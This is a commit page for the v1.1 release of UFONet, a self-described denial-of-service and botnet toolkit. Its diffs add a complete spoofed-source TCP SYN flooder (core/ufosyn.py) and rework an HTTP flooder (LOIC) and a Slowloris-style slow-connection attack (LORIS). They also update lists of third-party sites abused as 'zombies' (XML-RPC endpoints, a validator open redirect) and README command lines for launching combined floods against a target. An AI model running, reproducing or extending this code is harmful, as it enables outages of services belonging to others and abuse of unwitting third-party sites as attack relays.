Browse Source

release v1.1 - Quantum Hydra

psy 5 years ago
parent
commit
bbb346dbae
24 changed files with 1845 additions and 687 deletions
  1. 0 231
      LICENSE
  2. 19 16
      README.md
  3. 1 1
      botnet/droids.txt
  4. 1 1
      botnet/rpcs.txt
  5. 1 1
      botnet/ucavs.txt
  6. 2 2
      core/ajaxmap.py
  7. 1 1
      core/herd.py
  8. 1 1
      core/inspector.py
  9. 1 1
      core/js/ufo-cloud.css
  10. 19 16
      core/loic.py
  11. 56 42
      core/loris.py
  12. 439 130
      core/main.py
  13. 28 14
      core/options.py
  14. 61 0
      core/ufosyn.py
  15. 1 1
      core/update.py
  16. 1138 178
      core/webgui.py
  17. 1 1
      core/zombie.py
  18. 37 25
      docs/LEEME.txt
  19. 24 12
      docs/README.txt
  20. 7 6
      docs/VERSION
  21. 1 1
      docs/manifesto.txt
  22. 1 1
      docs/release.date
  23. 1 1
      server/grider.py
  24. 4 4
      setup.py

File diff suppressed because it is too large
+ 0 - 231
LICENSE


+ 19 - 16
README.md

@@ -1,4 +1,4 @@
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-tachyon-main_visor_small.png "UFONet Botnet Control Panel")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-hydra-welcome_small.png "UFONet Welcome")
 
 ----------
 
@@ -10,8 +10,7 @@
 
 ----------
 
-  UFONet - is a tool designed to launch Layer 7 (HTTP/Web Abuse) DDoS & DoS attacks,
-  using 'Open Redirect' vectors on third part web applications (a botnet).
+  UFONet - is a toolkit designed to launch DDoS and DoS attacks.
 
   See these links for more info:
 
@@ -34,6 +33,7 @@
        python-whois  - Python module for retrieving WHOIS information - Python 2
        python-crypto - Cryptographic algorithms and protocols for Python
        python-requests - elegant and simple HTTP library for Python2, built for human beings
+       python-scapy - Packet generator/sniffer and network scanner/discovery
 
   You can automatically get all required libraries using:
 
@@ -41,7 +41,7 @@
 
   For manual installation, on Debian-based systems (ex: Ubuntu), run: 
 
-       sudo apt-get install python-pycurl python-geoip python-whois python-crypto python-requests
+       sudo apt-get install python-pycurl python-geoip python-whois python-crypto python-requests python-scapy
 
   On other systems such as: Kali, Ubuntu, ArchLinux, ParrotSec, Fedora, etc... also run:
 
@@ -57,6 +57,7 @@
    * PyWhois: https://pypi.python.org/pypi/whois
    * PyCrypto: https://pypi.python.org/pypi/pycrypto
    * PyRequests: https://pypi.python.org/pypi/requests
+   * PyScapy: https://pypi.org/project/scapy/
    * Leaflet: http://leafletjs.com/ (provided)
 
 ----------
@@ -70,26 +71,28 @@ in the [LICENSE](./docs/LICENSE) file.
 
 ####  Screenshots (current version!):
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-tachyon-shell-gui_small.png "UFONet Botnet GUI Shell")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-hydra-shell1_small.png "UFONet Shell")
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-tachyon-grid_small.png "UFONet Botnet Grid")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-hydra-shell2_small.png "UFONet GUI Shell")
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-tachyon-grid-stats_small.png "UFONet Botnet Grid Stats")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-hydra-welcome_small.png "UFONet GUI Welcome")
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-tachyon-stats_small.png "UFONet Botnet General Stats")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-hydra-main_small.png "UFONet GUI Main Panel")
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-tachyon-board_small.png "UFONet Botnet Board")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-hydra-botnet_small.png "UFONet GUI Botnet")
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-gui3_small.png "UFONet Botnet GeoMap (deploying)")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-hydra-stats_small.png "UFONet GUI General Stats")
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-tachyon-attack_visor_small.png "UFONet Attack Visor")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-hydra-board_small.png "UFONet GUI Board/Forum")
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-gui4_small.png "UFONet Botnet GeoMap (attacking)")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-hydra-grid_small.png "UFONet GUI Grid")
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-tachyon-missions_small.png "UFONet Botnet Missions")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-hydra-grid2_small.png "UFONet GUI Grid Stats")
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-tachyon-abduction_small.png "UFONet Botnet Abduction")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-hydra-wargames_small.png "UFONet GUI Wargames")
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-tachyon-warp_small.png "UFONet Botnet Warp")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-hydra-attack_small.png "UFONet GUI Attack")
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-tachyon-help_small.png "UFONet Botnet Help")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-gui3_small.png "UFONet GeoMap (deploying)")
+
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-gui4_small.png "UFONet GeoMap (attacking)")

+ 1 - 1
botnet/droids.txt

@@ -1 +1 @@
-http://jigsaw.w3.org/css-validator/validator?uri=$TARGET&profile=css3&usermedium=all&vextwarning=true
+https://jigsaw.w3.org/css-validator/validator?uri=$TARGET&profile=css3&usermedium=all&vextwarning=true

+ 1 - 1
botnet/rpcs.txt

@@ -1 +1 @@
-http://www.ch-orthez.fr/xmlrpc.php
+http://heightsmedia.com/xmlrpc.php

+ 1 - 1
botnet/ucavs.txt

@@ -1 +1 @@
-http://www.downforeveryoneorjustme.com/
+https://downforeveryoneorjustme.com/

+ 2 - 2
core/ajaxmap.py

@@ -48,8 +48,8 @@ class AjaxMap(object):
                 f=open("maps.downloadmsg","wb")
                 f.write("")
                 f.close()
-                print "[Webgui] GeoIP data download started"
-                print "[Webgui] if this error message persists : remove maps.downloading and maps folder, then restart ufonet"
+                print "[Info] GUI: GeoIP data download started..."
+                print "[Info] GUI: If this message persists: remove 'maps.downloading' and 'maps' folder, then restart ufonet...\n"
             self._geoipstatus='downloading'
         elif os.path.isdir('maps'):
             if self._geoip == None :

+ 1 - 1
core/herd.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python 
 # -*- coding: utf-8 -*-"
 """
-UFONet - (DDoS botnet + DoS tool) via Web Abuse - 2013/2014/2015/2016/2017/2018 - by psy (epsylon@riseup.net)
+UFONet - Denial of Service Toolkit - 2013/2014/2015/2016/2017/2018 - by psy (epsylon@riseup.net)
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51

+ 1 - 1
core/inspector.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python 
 # -*- coding: utf-8 -*-"
 """
-UFONet - (DDoS botnet + DoS tool) via Web Abuse - 2013/2014/2015/2016/2017/2018 - by psy (epsylon@riseup.net)
+UFONet - Denial of Service Toolkit - 2013/2014/2015/2016/2017/2018 - by psy (epsylon@riseup.net)
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51

File diff suppressed because it is too large
+ 1 - 1
core/js/ufo-cloud.css


+ 19 - 16
core/loic.py

@@ -1,27 +1,34 @@
 #!/usr/bin/env python 
 # -*- coding: utf-8 -*-"
 """
-UFONet - (DDoS botnet + DoS tool) via Web Abuse - 2017/2018 - by psy (epsylon@riseup.net)
+UFONet - Denial of Service Toolkit - 2017/2018 - by psy (epsylon@riseup.net)
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 """
-import requests, random, threading, time
+import requests, random
+from requests.packages.urllib3.exceptions import InsecureRequestWarning # black magic
+requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
 
 # UFONet DoS Web LOIC (Low Orbit Ion Cannon)
-def ionize(self, target, proxy):
+def ionize(self, target, rounds, proxy):
+    n=0
     try:
         proxyD = { 
               "http"  : proxy, 
             }
-        self.user_agent = random.choice(self.agents).strip()
-        headers = {'User-Agent': str(self.user_agent)}
-        requests.get(target, headers=headers, proxies=proxyD, verify=False)
-        print "[Info] Firing 'pulse' from: LOIC -> Status: HIT!"
+        for i in range(0, int(rounds)):
+            n=n+1
+            self.user_agent = random.choice(self.agents).strip()
+            headers = {'User-Agent': str(self.user_agent)}
+            try:
+                r = requests.get(target, headers=headers, proxies=proxyD, verify=False)
+                print "[Info] LOIC: Firing 'pulse' ["+str(n)+"] -> Status: HIT!"
+            except:
+                print "[Error] LOIC: Failed to engage with 'pulse' ["+str(n)+"]"
     except:
-        print("[Error] LOIC is failing to engage. Is still target online?...")
-        pass
+        print("[Error] LOIC: Failing to engage. Is still target online?...")
 
 class LOIC(object):
     def __init__(self):
@@ -33,10 +40,6 @@ class LOIC(object):
         for agent in agents:
             self.agents.append(agent)
 
-    def attacking(self, target, requests, proxy):
-        print "\n[Info] Low Orbit Ion Cannon (LOIC) is ready to fire: [" , requests, "pulses ]\n"
-        for i in range(0, int(requests)): 
-            t = threading.Thread(target=ionize, args=(self, target, proxy)) # attack with LOIC using threading
-            t.daemon = True
-            t.start()
-            time.sleep(1)
+    def attacking(self, target, rounds, proxy):
+        print "\n[Info] Low Orbit Ion Cannon (LOIC) is ready to fire: [" , rounds, "pulses ]"
+        ionize(self, target, rounds, proxy) # attack with LOIC using threading

+ 56 - 42
core/loris.py

@@ -1,71 +1,85 @@
 #!/usr/bin/env python 
 # -*- coding: utf-8 -*-"
 """
-UFONet - (DDoS botnet + DoS tool) via Web Abuse - 2018 - by psy (epsylon@riseup.net)
+UFONet - Denial of Service Toolkit - 2018 - by psy (epsylon@riseup.net)
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 """
-import time, sys, threading, socket, random, ssl
+import socket, random, ssl, re
 
-# UFONet Slow HTTP requests (UFOLoris)
-def setupSocket(self, ip, port, method):
+# UFONet Slow HTTP requests (LORIS)
+def setupSocket(self, ip):
+    method = random.choice(self.methods)
+    port = 80
+    if ip.startswith('http://'):
+       ip = ip.replace('http://','')
+       port = 80
+    elif ip.startswith('https://'):
+       ip = ip.replace('https://','')
+       port = 443
+    self.user_agent = random.choice(self.agents).strip()
     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-    sock.settimeout(6)
-    if port == "443":
-        ss = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_TLSv1)
-        ss.connect((ip, port))
-    else:
-        sock.connect((ip, port))
+    sock.settimeout(10)
+    if port == 443:
+        sock = ssl.wrap_socket(sock, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_TLSv1)
+    sock.connect((ip, port))
     if method == "GET":
-        sock.send("GET / \r\n".encode("utf-8"))
+        http_req = "GET / HTTP/1.1\r\nHost: "+str(ip)+"\r\nUser-Agent: "+str(self.user_agent)+"\r\nConnection: keep-alive\r\nCache-Control: no-cache\r\n\r\n"
+    elif method == "POST":
+        http_req = "POST / HTTP/1.1\r\nHost: "+str(ip)+"\r\nUser-Agent: "+str(self.user_agent)+"\r\nConnection: keep-alive\r\nCache-Control: no-cache\r\n\r\n"
     else:
-        sock.send("POST / \r\n".encode("utf-8"))
-    return sock
+        http_req = "POST / HTTP/1.1\r\nHost: "+str(ip)+"\r\nX-HTTP-Method: PUT\r\nUser-Agent: "+str(self.user_agent)+"\r\nConnection: keep-alive\r\nCache-Control: no-cache\r\n\r\n" # "Verb Tunneling Abuse" -> [RFC2616]
+    sock.sendall(http_req)
+    resp = sock.recv(1280).split("\n")
+    for l in resp:
+        if "Location:" in l:
+            try:
+                ip = re.findall('https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+', l)[0] # extract new redirect url
+                ip = socket.gethostbyname(ip)
+            except:
+                pass
+    return sock, ip
 
-def tractor(self, ip, port, requests): 
+def tractor(self, ip, requests): 
+    n=0
     for i in range(requests): 
+        n=n+1
         try:
-            method = 'GET'
-            sock = setupSocket(self, ip, port, method)
-            print "[Info] Firing 'tractor' beam from: LORIS -> Status: CONNECTED! -> 'Keeping socket open in time...'"
-        except socket.error:
-            break
+            sock, ip = setupSocket(self, ip)
+            print "[Info] LORIS: Firing 'tractor beam' ["+str(n)+"] -> Status: CONNECTED! (Keeping socket open in time...)"
+        except:
+            print "[Error] LORIS: Failed to engage with 'tractor beam' ["+str(n)+"]"
         self.sockets.append(sock)
     while True: # try to abuse HTTP Headers
         for sock in list(self.sockets):
             try: 
-                # "Verb Tunneling Abuse" -> [RFC2616]
-                method = 'POST' 
-                sock.send("X-HTTP-Method: {}\r\n".format('PUT').encode("utf-8"))
+                sock, ip = setupSocket(self, ip)
             except socket.error:
                 self.sockets.remove(sock)
         for i in range(requests - len(self.sockets)):
-            print("[Info] Re-opening closed LORIS 'tractor' beam -> Status: RE-LINKED!")
-            try:
-                method = 'GET'
-                sock = setupSocket(self, ip, port, method)
-                if sock:
-                    self.sockets.append(sock)
-            except socket.error:
-                break
-        time.sleep(10)
+            print("[Info] LORIS: Re-opening closed 'tractor beam' -> Status: RE-LINKED!")
+            sock, ip = setupSocket(self, ip)
+            if sock:
+                self.sockets.append(sock)
 
 class LORIS(object):
     def __init__(self):
         self.sockets = []
+        self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
+        self.agents = []
+        f = open(self.agents_file)
+        agents = f.readlines()
+        f.close()
+        for agent in agents:
+            self.agents.append(agent)
+        self.methods = ['GET', 'POST', 'X-METHOD'] # supported HTTP requests methods
 
     def attacking(self, target, requests):
         print "\n[Info] Slow HTTP requests (LORIS) is ready to fire: [" , requests, "tractor beams ]\n"
-        if target.startswith('http://'):
-            target = target.replace('http://','')
-            port = 80
-        elif target.startswith('https://'):
-            target = target.replace('https://','')
-            port = 443
-        ip = socket.gethostbyname(target)
-        t = threading.Thread(target=tractor, args=(self, ip, port, requests)) # attack with UFOLoris using threading
-        t.daemon = True
-        t.start()
-        time.sleep(10)
+        try:
+            ip = socket.gethostbyname(target)
+        except:
+            ip = target
+        tractor(self, ip, requests) # attack with LORIS using threading

File diff suppressed because it is too large
+ 439 - 130
core/main.py


File diff suppressed because it is too large
+ 28 - 14
core/options.py


+ 61 - 0
core/ufosyn.py

@@ -0,0 +1,61 @@
+#!/usr/bin/env python 
+# -*- coding: utf-8 -*-"
+"""
+UFONet - Denial of Service Toolkit - 2018 - by psy (epsylon@riseup.net)
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import random, socket, os, sys
+from scapy.all import *
+
+# UFONet TCP SYN Flooder (UFOSYN)
+def randIP():
+	ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
+	return ip
+
+def randInt():
+	x = random.randint(1,65535) # TCP ports
+	return x	
+
+def synize(ip, port, rounds):
+    n=0
+    for x in range (0,int(rounds)):
+        n=n+1
+        sport = randInt()
+        seq = randInt()
+        window = randInt()
+        IP_p = IP()
+        IP_p.src = randIP()
+        try:
+            IP_p.dst = ip
+        except:
+            print "[Error] UFOSYN: Failed to engage with 'quantum hook' ["+str(n)+"]"
+            break
+        TCP_l = TCP()	
+        TCP_l.sport = sport
+        TCP_l.dport = port
+        TCP_l.flags = "S"
+        TCP_l.seq = seq
+	TCP_l.window = window
+        try:
+            send(IP_p/TCP_l, verbose=0)
+            print "[Info] UFOSYN: Firing 'quantum hook' ["+str(n)+"] -> Status: FLOODING!"
+        except:
+            print "[Error] UFOSYN: Failed to engage with 'quantum hook' ["+str(n)+"]"
+
+class UFOSYN(object):
+    def attacking(self, target, rounds):
+        print "[Info] TCP SYN Flooder (UFOSYN) is ready to fire: [" , rounds, "quantum hooks ]\n"
+        if target.startswith('http://'):
+            target = target.replace('http://','')
+            port = 80
+        elif target.startswith('https://'):
+            target = target.replace('https://','')
+            port = 443
+        try:
+            ip = socket.gethostbyname(target)
+        except:
+            ip = target
+        synize(ip, port, rounds) # attack with UFOSYN using threading

+ 1 - 1
core/update.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python 
 # -*- coding: utf-8 -*-"
 """
-UFONet - (DDoS botnet + DoS tool) via Web Abuse - 2013/2014/2015/2016/2017/2018 - by psy (epsylon@riseup.net)
+UFONet - Denial of Service Toolkit - 2013/2014/2015/2016/2017/2018 - by psy (epsylon@riseup.net)
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51

File diff suppressed because it is too large
+ 1138 - 178
core/webgui.py


+ 1 - 1
core/zombie.py

@@ -45,7 +45,7 @@ class Zombie: # class representing a zombie
             c.setopt(pycurl.URL, payload) # set 'self.zombie' payload
             c.setopt(pycurl.NOBODY, 0) # use GET
         if self.ufo.external == True:
-            external_service = "http://www.downforeveryoneorjustme.com/" # external check
+            external_service = "https://www.downforeveryoneorjustme.com/" # external check
             if options.target.startswith('https://'): # fixing url prefix
                 options.target = options.target.replace('https://','')
             if options.target.startswith('http://'): # fixing url prefix

+ 37 - 25
docs/LEEME.txt

@@ -37,8 +37,7 @@ Bienvenida a UFONet [ DDoS+DoS ] Botnet/C&C/Darknet ;-)
 # Introducción
 ###############################
 
-UFONet - es una herramienta diseñada para lanzar ataques DDoS y DoS en la capa 7 (HTTP/Web Abuse),
-utilizando vectores 'Open Redirect' en aplicaciones web de terceros (una botnet).
+UFONet - es un conjunto de herramientas diseñado para lanzar ataques DDoS y DoS.
 
 En los siguientes enlaces tienes más información:
 
@@ -54,11 +53,12 @@ En los siguientes enlaces tienes más información:
 
 UFONet funciona en muchas plataformas. Requiere Python (>2.7.9) y las siguientes librerías:
 
-       python-pycurl - Python bindings to libcurl
-       python-geoip  - Python bindings for the GeoIP IP-to-country resolver library
-       python-whois  - Python module for retrieving WHOIS information - Python 2
-       python-crypto - Cryptographic algorithms and protocols for Python
-       python-requests - elegant and simple HTTP library for Python2, built for human beings
+     python-pycurl - Python bindings to libcurl
+     python-geoip  - Python bindings for the GeoIP IP-to-country resolver library
+     python-whois  - Python module for retrieving WHOIS information - Python 2
+     python-crypto - Cryptographic algorithms and protocols for Python
+     python-requests - elegant and simple HTTP library for Python2, built for human beings
+     python-scapy - Packet generator/sniffer and network scanner/discovery
 
 Puedes obtener todas las librerías requeridas automáticamente usando:
 
@@ -66,22 +66,24 @@ Puedes obtener todas las librerías requeridas automáticamente usando:
 
 Para instalarlas manualmente en sistemas basados en Debian (ex: Ubuntu), lanza: 
 
-     sudo apt-get install python-pycurl python-geoip python-whois python-crypto python-requests
+     sudo apt-get install python-pycurl python-geoip python-whois python-crypto python-requests python-scapy
 
 En otros sistemas como: Kali, Ubuntu, ArchLinux, ParrotSec, Fedora, etc... también lanzar:
 
-       pip install geoip 
-       pip install requests
-       pip install pycrypto
+     pip install geoip 
+     pip install requests
+     pip install pycrypto
 
 Paquetes fuente de las librerías:
 
-       * Python: https://www.python.org/downloads/
-       * PyCurl: http://pycurl.sourceforge.net/
-       * PyGeoIP: https://pypi.python.org/pypi/GeoIP/
-       * PyWhois: https://pypi.python.org/pypi/whois
-       * PyCrypto: https://pypi.python.org/pypi/pycrypto
-       * PyRequests: https://pypi.python.org/pypi/requests
+     * Python: https://www.python.org/downloads/
+     * PyCurl: http://pycurl.sourceforge.net/
+     * PyGeoIP: https://pypi.python.org/pypi/GeoIP/
+     * PyWhois: https://pypi.python.org/pypi/whois
+     * PyCrypto: https://pypi.python.org/pypi/pycrypto
+     * PyRequests: https://pypi.python.org/pypi/requests
+     * PyScapy: https://pypi.org/project/scapy/
+     * Leaflet: http://leafletjs.com/ (provided)
 
 ###############################
 # Buscando 'zombies'
@@ -111,8 +113,8 @@ Por defecto, UFONet utiliza un motor de búsqueda que se llama 'Yahoo'. Pero pue
 
 Ésta es la lista de motores de búsqueda que funcionan con la fecha de la última vez que se han probado:
 
-        - bing [06/03/2018: OK!]
-        - yahoo [06/03/2018: OK!]
+        - bing [26/09/2018: OK!]
+        - yahoo [26/09/2018: OK!]
 
 También puedes buscar masívamente utilizando todos los motores de búsqueda soportados:
 
@@ -331,19 +333,25 @@ Puedes probar tu lista de zombies "X-RPCs" lanzando:
 
      ./ufonet --test-rpc
 
-Al mismo tiempo, puedes conectar un LOIC (con soporte para proxy), para hacer un número determinado de peticiones 
+Al mismo tiempo, puedes conectar LOIC (con soporte para proxy), para hacer un número determinado de peticiones 
 recursivas directamente sobre tu objetivo:
 
      ./ufonet -a http://target.com --loic 100
 
-Puedes conectar un LORIS para hacer peticiones que dejen hilos abiertos en tu objetivo, haciendo que el servidor web 
+Puedes conectar LORIS para hacer peticiones que dejen hilos abiertos en tu objetivo, haciendo que el servidor web 
 se vuelva lento:
 
-     ./ufonet -a http://target.com --slow 100
+     ./ufonet -a http://target.com --loris 100
 
-Ambos ataques pueden ser combinados, haciendo que UFONet utilice distintas técnicas de DDoS y DoS, al mismo tiempo:
+Y también puedes conectar UFOSYN (requiere acceso mediante 'root') para comenzar un poderoso ataque de inundación TCP/SYN:
 
-     ./ufonet -a http://target.com --loic 100 --slow 100
+     sudo python ufonet -a http://target.com --ufosyn 100
+
+Ambos ataques pueden ser combinados haciendo que UFONet utilice distintas técnicas de DDoS y DoS, al mismo tiempo:
+
+     ./python ufonet -a http://target.com --loic 100 --loris 100
+
+     sudo python ufonet -a http://target.com --loic 100 --loris 100 --ufosyn 100
 
 ###############################
 # Actualizando
@@ -402,12 +410,16 @@ más algunas "extra":
  - BOARD: Permite enviar/recibir mensajes con una "nave madre" (un foro)
  - WARPS: Permite interactuar con una "nave madre" para subir/bajar 'zombies'
  - GLOBAL GRID: Permite revisar las estadísticas de otras "naves"
- - WARGAMES: Permite proponer e interactuar en algunos "juegos de guerra" reales
+ - WARGAMES: Permite proponer y participar en algunos "juegos de guerra" reales
 
 ###############################
 # Timelog
 ###############################
 
+--------------------------
+26.09.2018 : v.1.1
+--------------------------
+
 --------------------------
 08.03.2018 : v.1.0
 --------------------------

+ 24 - 12
docs/README.txt

@@ -37,8 +37,7 @@ Welcome to UFONet [ DDoS+DoS ] Botnet/C&C/Darknet ;-)
 # Summary
 ###############################
 
-UFONet - is a tool designed to launch Layer 7 (HTTP/Web Abuse) DDoS & DoS attacks,
-using 'Open Redirect' vectors on third part web applications (a botnet).
+UFONet - is a toolkit designed to launch DDoS and DoS attacks.
 
 See these links for more info:
 
@@ -59,6 +58,7 @@ UFONet runs on many platforms. It requires Python (>2.7.9) and the following lib
      python-whois  - Python module for retrieving WHOIS information - Python 2
      python-crypto - Cryptographic algorithms and protocols for Python
      python-requests - elegant and simple HTTP library for Python2, built for human beings
+     python-scapy - Packet generator/sniffer and network scanner/discovery
 
 You can automatically get all required libraries using:
 
@@ -66,7 +66,7 @@ You can automatically get all required libraries using:
 
 For manual installation on Debian-based systems (ex: Ubuntu), run: 
 
-     sudo apt-get install python-pycurl python-geoip python-whois python-crypto python-requests
+     sudo apt-get install python-pycurl python-geoip python-whois python-crypto python-requests python-scapy
 
 On other systems such as: Kali, Ubuntu, ArchLinux, ParrotSec, Fedora, etc... also run:
 
@@ -82,6 +82,8 @@ Source libs:
      * PyWhois: https://pypi.python.org/pypi/whois
      * PyCrypto: https://pypi.python.org/pypi/pycrypto
      * PyRequests: https://pypi.python.org/pypi/requests
+     * PyScapy: https://pypi.org/project/scapy/
+     * Leaflet: http://leafletjs.com/ (provided)
 
 ###############################
 # Searching for 'zombies'
@@ -110,8 +112,8 @@ By default UFONet will use a search engine called 'Yahoo'. But you can choose a
 
 This is the list of available search engines with last time that they were working:
 
-        - bing [06/03/2018: OK!]
-        - yahoo [06/03/2018: OK!]
+        - bing [26/09/2018: OK!]
+        - yahoo [26/09/2018: OK!]
 
 You can also search massively using all search engines supported:
 
@@ -327,19 +329,25 @@ You can test your list of 'XML-RPCs zombies' launching:
 
      ./ufonet --test-rpc
 
-At same time, you can connect a LOIC (with proxy support), to make a determinate number of recursive requests 
+At same time, you can connect LOIC (with proxy support), to make a determinate number of recursive requests 
 directly to your target:
 
      ./ufonet -a http://target.com --loic 100
 
-You can connect a LORIS to make requests leave open threads on the target too, making the web server 
+You can connect LORIS to make requests leave open threads on the target too, making the web server 
 work slower:
 
-     ./ufonet -a http://target.com --slow 100
+     ./ufonet -a http://target.com --loris 100
 
-Both ways could be combined, so UFONet can attack DDoS and DoS at the same time:
+And you can connect UFOSYN (it requires 'root' access) to start a powerful TCP/SYN flood attack:
 
-     ./ufonet -a http://target.com --loic 100 --slow 100
+     sudo python ufonet -a http://target.com --ufosyn 100
+
+Both ways could be combined, so UFONet can attack DDoS and DoS, at the same time:
+
+     ./python ufonet -a http://target.com --loic 100 --loris 100
+
+     sudo python ufonet -a http://target.com --loic 100 --loris 100 --ufosyn 100
 
 ###############################
 # Updating
@@ -347,7 +355,7 @@ Both ways could be combined, so UFONet can attack DDoS and DoS at the same time:
 
 UFONet has implemented an option to update the tool to the latest stable version.
 
-This feature can be used only if you have cloned it from GitHub respository.
+This feature can be used only if you have cloned it from a git respository.
 
 To check your version you should launch:
 
@@ -397,12 +405,16 @@ This will open a tab on your default browser with all features of the tool and s
  - BOARD: Allows to send/receive messages to/from a "mothership" (a forum)
  - WARPS: Allows to interact with a "mothership" to download/upload "zombies"
  - GLOBAL GRID: Allows to review statistics from other "spaceships"
- - WARGAMES: Allows to propose and interact with some real "wargames"
+ - WARGAMES: Allows to propose and join some real "wargames"
 
 ###############################
 # Timelog
 ###############################
 
+--------------------------
+26.09.2018 : v.1.1
+--------------------------
+
 --------------------------
 08.03.2018 : v.1.0
 --------------------------

+ 7 - 6
docs/VERSION

@@ -5,9 +5,10 @@ Date	    Size      Version  Alias
 2014-09-17  12.6kB    0.3b
 2014-09-27  12.8kB    0.3.1b   Abduction
 2014-12-16  36.3kB    0.4b     Infection!
-2015-05-24  63.4kB    0.5b     Invasion!
-2016-02-20  282.5kB   0.6      Galactic Offensive!
-2016-08-18  297.7kB   0.7      Big Crunch!
-2016-12-12  444.7kB   0.8      U-NATi0n!
-2017-07-13  861.5kB   0.9      Blazar!
-2018-03-07  948.7kB   1.0      TachYon!
+2015-05-24  59.0kB    0.5b     Invasion!
+2016-02-20  287.5kB   0.6      Galactic Offensive!
+2016-08-18  301.9kB   0.7      Big Crunch!
+2016-12-12  450.8kB   0.8      U-NATi0n!
+2017-07-13  872.5kB   0.9      Blazar!
+2018-03-07  947.9kB   1.0      TachYon!
+2018-09-26  950.7kB   1.1      Quantum Hydra!

+ 1 - 1
docs/manifesto.txt

@@ -61,7 +61,7 @@
 =====-----_________-------------_______________··········:==4day
 ======_________=_=____________________=________==_=_______
 ·······÷÷;;;:·········÷÷÷÷××÷×÷÷×÷×÷÷×÷·÷÷÷÷·×···÷·····:||
- ||  Sluurg! Sluurg! Sluurg!!!!!                        ||
+ ||  Sluurg! FCKDRM! Sluurg!!!!!                        ||
 ·······÷÷;;;:·········÷÷÷÷××÷×÷÷×÷×÷÷×÷·÷÷÷÷·×·····÷÷··:||
  ||  In the land of humans; without space for honor,    ||
  ||  In the land of humans; just time for whores,       ||

+ 1 - 1
docs/release.date

@@ -1 +1 @@
-Wen Mar 07 23:51:11 2018
+Wen Sep 26 00:11:12 2018

+ 1 - 1
server/grider.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python 
 # -*- coding: utf-8 -*-"
 """
-UFONet - (DDoS botnet + DoS tool) via Web Abuse - 2017/2018 - by psy (epsylon@riseup.net)
+UFONet - Denial of Service Toolkit - 2017/2018 - by psy (epsylon@riseup.net)
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51

+ 4 - 4
setup.py

@@ -8,15 +8,15 @@ from setuptools import setup, find_packages
 
 setup(
     name='ufonet',
-    version='1.0',
+    version='1.1',
     license='GPLv3',
     author_email='epsylon@riseup.net',
     author='psy',
-    description='(DDoS botnet + DoS tool) via Web Abuse',
+    description='Denial of Service Toolkit',
     url='https://ufonet.03c8.net/',
     long_description=open('docs/README.txt').read(),
     packages=find_packages(),
-    install_requires=['GeoIP >= 1.3.2', 'pygeoip >= 0.3.2', 'requests', 'pycrypto >= 2.6.1', 'pycurl >= 7.19.5.1', 'python-whois >= 0.6.5'],
+    install_requires=['GeoIP >= 1.3.2', 'pygeoip >= 0.3.2', 'requests', 'pycrypto >= 2.6.1', 'pycurl >= 7.19.5.1', 'python-whois >= 0.6.5', 'python-scapy >= 2.3.3'],
     include_package_data=True,
     package_data={
         'core': ['images/*', 'js/*.css', 'js/*.js', 'js/leaflet/*.css', 'js/leaflet/*.js', 'js/leaflet/images/*', 'js/cluster/*', 'txt/*.txt'],
@@ -30,7 +30,7 @@ setup(
             'ufonet=UFONet:core.main',
         ],
     },
-    keywords='DDoS Botnet WebAbuse UFONet',
+    keywords='WebAbuse DoS DDoS Botnet Darknet UFONet',
     classifiers=[
         'Development Status :: 5 - Production/Stable',
         "Environment :: Web Environment",